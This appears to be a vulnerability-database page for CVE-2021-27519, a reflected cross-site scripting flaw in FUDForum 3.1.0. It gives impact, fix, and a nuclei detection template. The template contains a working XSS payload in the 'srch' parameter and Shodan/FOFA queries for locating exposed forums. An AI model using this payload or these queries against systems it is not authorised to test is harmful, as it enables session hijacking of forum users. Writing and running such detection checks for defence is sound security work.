HexBrain

Browse / CVEs / CVE-2021-27519

CVE-2021-27519· fudforum / fudforum· CWE-79

FUDForum 3.1.0 - Cross-Site Scripting

mediumseverity
6.1CVSS score
7.6%likelihood of exploitation, next 30 days
95%of all CVEs are less likely
Readycheck to confirm it

FUDForum 3.1.0 contains a cross-site scripting vulnerability which allows remote attackers to inject JavaScript via index.php in the "srch" parameter.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.

Fix

Upgrade to the latest version of FUDForum or apply the provided patch to fix the XSS vulnerability.

How to confirm it

Send: GET {{BaseURL}}/index.php?SQ=0&srch=x"+onmouseover%3Dalert%281%29+x%3D"&t=search&btn_submit.x=0&btn_submit.y=0
Positive when: contains "highlightSearchTerms(\"x\" onmouseover=alert(1) x=\"\");" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2021-27519 -u <target>

The full check
id: CVE-2021-27519

info:
  name: FUDForum 3.1.0 - Cross-Site Scripting
  author: kh4sh3i
  severity: medium
  description: |
    FUDForum 3.1.0 contains a cross-site scripting vulnerability which allows remote attackers to inject JavaScript via index.php in the "srch" parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Upgrade to the latest version of FUDForum or apply the provided patch to fix the XSS vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/49942
    - https://github.com/fudforum/FUDforum/issues/2
    - http://packetstormsecurity.com/files/162942/FUDForum-3.1.0-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-27519
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-27519
    cwe-id: CWE-79
    epss-score: 0.07604
    epss-percentile: 0.94595
    cpe: cpe:2.3:a:fudforum:fudforum:3.1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: fudforum
    product: fudforum
    shodan-query:
      - 'http.html:"Powered by: FUDforum"'
      - http.html:"fudforum"
      - 'http.html:"powered by: fudforum"'
    fofa-query:
      - 'body="powered by: fudforum"'
      - body="fudforum"
  tags: cve2021,cve,xss,fudforum,edb,packetstorm,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/index.php?SQ=0&srch=x"+onmouseover%3Dalert%281%29+x%3D"&t=search&btn_submit.x=0&btn_submit.y=0'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'highlightSearchTerms("x" onmouseover=alert(1) x="");'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from